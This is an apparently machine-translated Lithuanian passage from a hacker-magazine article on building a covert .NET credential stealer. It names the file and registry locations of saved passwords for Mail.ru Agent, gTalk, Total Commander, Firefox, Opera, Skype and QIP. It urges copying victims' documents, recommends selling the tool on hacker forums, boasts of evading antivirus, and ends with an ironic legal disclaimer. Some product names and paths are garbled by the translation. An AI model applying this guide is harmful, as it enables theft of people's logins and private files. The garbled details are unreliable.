    „Messenger“ iš Mail.ru dabar labai populiarus tarp paprastų mirtingųjų vartotojų (ypač tarp moterų). Tikslai aiškūs, uždaviniai iškelti, tad mus domina:

  • Istorija. MA saugo visą vartotojo susirašinėjimo istoriją dokumentuose ir nustatymai\%User%\Application Data\Mra\base . Baziniame aplanke yra failas mra.dbs. Tiesą sakant, tai yra istorijos failas.
  • Kontaktų sarašas. Kontaktų sąrašas yra aplanke MRA\%user account%\clist5.txt. Atminkite, kad su mail.agent gali dirbti keli vartotojai (arba vienas vartotojas gali turėti kelias paskyras). Todėl protingiausia būtų nukopijuoti visus aplankus, kurių pavadinime yra simbolis „@“.
  • Slaptažodis. Slaptažodis (tiksliau, jo maiša) iš sąskaitą Vartotojas yra registre kelyje - HKCU\Software\Mail.RU\Agent\magent_logins2\%Account% ####slaptažodžio parametre.
  • gTalk

    Įmonė Google kuria patogius ir funkcionalius gaminius, tarp kurių yra gabber klientas - gTalk. Šiandien gTalk dar nelabai populiarus. Jis neįdiegiamas kas antrame asmeniniame kompiuteryje, bet kartais vis tiek pasitaiko ir, norint būti temoje, geriau iš karto išmokyti mūsų programą gauti slaptažodžius iš šio messengerio. Visų „gTalk“ paskyrų slaptažodžiai saugomi registre – HHEY_CURRENT_USER\Software\Google\Google Talk\Accounts . Šiame skyriuje pateikiamos visos paskyros, prie kurių kada nors buvo prisijungta gTalk. Sąskaitos slaptažodžiai saugomi eilutės parametras pw.

    Totalus vadas

    Totalus vadas- pats populiariausias failų tvarkyklė. Programoje yra maždaug vagonas ir nedidelis vežimėlis (ir tą patį numerį galima pritvirtinti prie jo naudojant papildomus įskiepius). Mus domina tik įtaisytas FTP klientas. Jį naudoja daugelis, o slaptažodžiai, žinoma, išsaugomi.

    TC, skirtingai nei daugelis kitų programų, nesaugo slaptažodžių registre, o naudoja senus gerus ini failus. Slaptažodžiai, taip pat visi reikalingi prisijungimui prie serverių duomenys (ip, prievadas, vartotojo vardas ir kt.) Totalus vadas išsaugo faile wcx_ftp.ini, kuris nekaltai yra programos aplanke. Kelias į katalogą, kuriame jis įdiegtas Totalus vadas, galite sužinoti iš registro. Ieškokite HKEY_CURRENT_USER\Software\Ghisler\Total Commander šakoje.

    firefox

    Šiandien naršyklė – tai ne tik WEB kelionių programa, o visas kombainas, kuriame, be įvairių galimybių, saugoma daug konfidencialios informacijos. Tipiškas to pavyzdys yra žiniatinklio formos. 99% šiuolaikinių svetainių reikalauja registracijos. Prisiminti ir nuolat turėti omenyje kiekvienos svetainės prisijungimo / slaptažodžio derinį yra nereali užduotis, ypač jei esate patyręs vartotojas ir naršyti internete neapsiriboja vien tik Odnoklassniki ir VKontakte.

    Kūrėjai palengvino vartotojų gyvenimą ir į programas įtraukė vadinamąsias „slaptažodžių saugyklas“. Užsiregistravau, prisijungiau prie savo paskyros, įsakiau naršyklei atsiminti kredencialus – ir pamiršau. Kitą kartą apsilankius belieka atlikti porą pelės paspaudimų, ir jūs jau svetainėje. Kadangi naršyklė išsaugo slaptažodžius, tai reiškia, kad turime galimybę pavogti visą jos duomenų bazę.

  • sessionstore.js – faile yra visos išsaugotos sesijos.
  • signons3.txt – užšifruoti slaptažodžiai (trečiai FF versijai).
  • signons.sqlite – SQLite duomenų bazė, kurioje yra visi užšifruoti slaptažodžiai.
  • key3.db - duomenų bazė, kurioje yra sertifikatų raktai.
  • Visi šie failai yra pažįstamame dokumente ir nustatymuose\%UserName%\Application Data\Mozilla\FireFox\Profiles\%ProfileName% .

    Opera

    Opera- naršyklė, kuri yra labai populiari tarp Rusijos vartotojų. Natūralu, kad negalime to palikti be priežiūros. Taigi su „Opera“ situacija yra maždaug tokia pati kaip su „FireFox“. Visi naršyklėje išsaugoti slaptažodžiai saugomi failo wand.dat aplanke Document and Settings\%UserName%\Application Data\Opera\profile. Pasirodo, aptikus Opera, elgsimės taip pat, kaip ir atveju firefox.

    Skype

    „Skype“ populiarumas auga kiekvieną dieną. Daugelis žmonių jį naudoja ne kaip skambinimo priemonę, o banaliam patogiam pokalbiui. Visi konfidencialūs duomenys, kaip ir tikėtasi, yra vartotojo profilyje (toje pačioje vietoje, kur juos saugo Opera arba FF). Norėdami juos „privatizuoti“, turėsite nukopijuoti vartotojo profilį iš Document and Settings\%userName%\Application Data\Skype\ ir eksportuoti registro šaką – HKEY_CURRENT_USER\Software\Skype\ProtectedStorage .

    QIP

    Kaip ir dauguma anksčiau aprašytų programų, QIP saugo visus išsaugotus slaptažodžius Application Data\qip.

    Kopijavimas baigtas

    .NET technologija labai supaprastino mūsų užduotį, todėl visas kodavimas buvo sumažintas iki kelių metodų iškvietimo. Žinoma, galite pasakyti, kad tai nėra šaunu ir kad daug efektyviau tokius dalykus rašyti WinAPI arba ASM "e. Tam tikrais atžvilgiais aš su jumis sutinku, bet nepamirškite apie WinAPI ir ypač Asma, parašyk tokią programą, bet greitai nepavyks.Kol kiti rašo kilometro kodą, aš ir tu nuimsime derlių. Sėkmės programuojant, o jei kils klausimų, rašykit į muilą.

    Nepamirškite, kad daugelis vartotojų saugo konfidencialią informaciją aplanke „Mano dokumentai“. Bent jau gali būti įdomių darbo dokumentų, o kartais ir ištisų failų su slaptažodžiais. Kažkada (buvusiame darbe) buhalterės kompiuteryje radau tvarkingai suformatuotą failą su banko klientų slaptažodžiais.

    Kaip tikras draugas, jūs turite padėti visiems šiems žmonėms kurti slaptos informacijos atsargines kopijas.

    Daugelyje įsilaužėlių forumų yra daug skelbimų, kuriuose parduodama tokia programinė įranga. Skirtingos kainos - nuo 10 USD iki 100 USD. Baigę straipsnyje aptartus pavyzdžius, galite užsidirbti juodos duonos plutą su ikrais. Kartoju, svarbiausia yra kūrybiškai žiūrėti į klausimą, ir viskas tikrai susitvarkys. Vėlgi, antivirusai jo neaptinka;).

    Įspėjimas!

    Šią programą naudojame tik tam, kad laiku padarytume atsarginę „flash“ atmintinių turinio atsarginę kopiją į diską ir slaptažodžių atsarginę kopiją „flash drive“. Ir ką tu galvoji? Už neteisėtą tokios programinės įrangos naudojimą baudžiama!